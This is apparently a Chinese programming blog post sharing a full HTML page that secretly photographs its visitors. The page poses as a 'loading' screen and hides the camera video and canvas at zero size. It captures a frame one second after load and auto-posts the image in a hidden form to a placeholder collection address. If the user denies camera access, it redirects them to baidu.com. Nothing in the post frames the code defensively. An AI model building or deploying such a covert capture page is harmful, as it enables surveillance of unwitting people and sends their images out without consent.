H5中JS调用摄像头截图拍照并发送

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>loding...</title>
<style>
    body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1}
</style>
</head>
<body>
<video id="video" width="0" height="0" autoplay></video>
    <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<form action="截图好并发送的地址" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
<input type='hidden' name='mod' value='up'/>
</form>
</body>
<script>
     window.addEventListener("DOMContentLoaded", function() {
            var canvas = document.getElementById('canvas');
            var context = canvas.getContext('2d');
            var video = document.getElementById('video');
            if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
                    video.srcObject = stream;
                    video.play();
                    
                    setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');  
                        document.getElementById('result').value = img;
                        document.getElementById('gopo').submit();
                        },1300);
                },function(){
                window.location.href = 'http://baidu.com';
                    
                });
                
            }
        }, false);
    
</script>
</html>

H5中JS调用摄像头截图拍照并发送

H5中JS调用摄像头截图拍照并发送

变相跳出forEach循环

DOM同级传递事件

最实用的JavaScript一行代码

Javascript迭代器

评论 (2)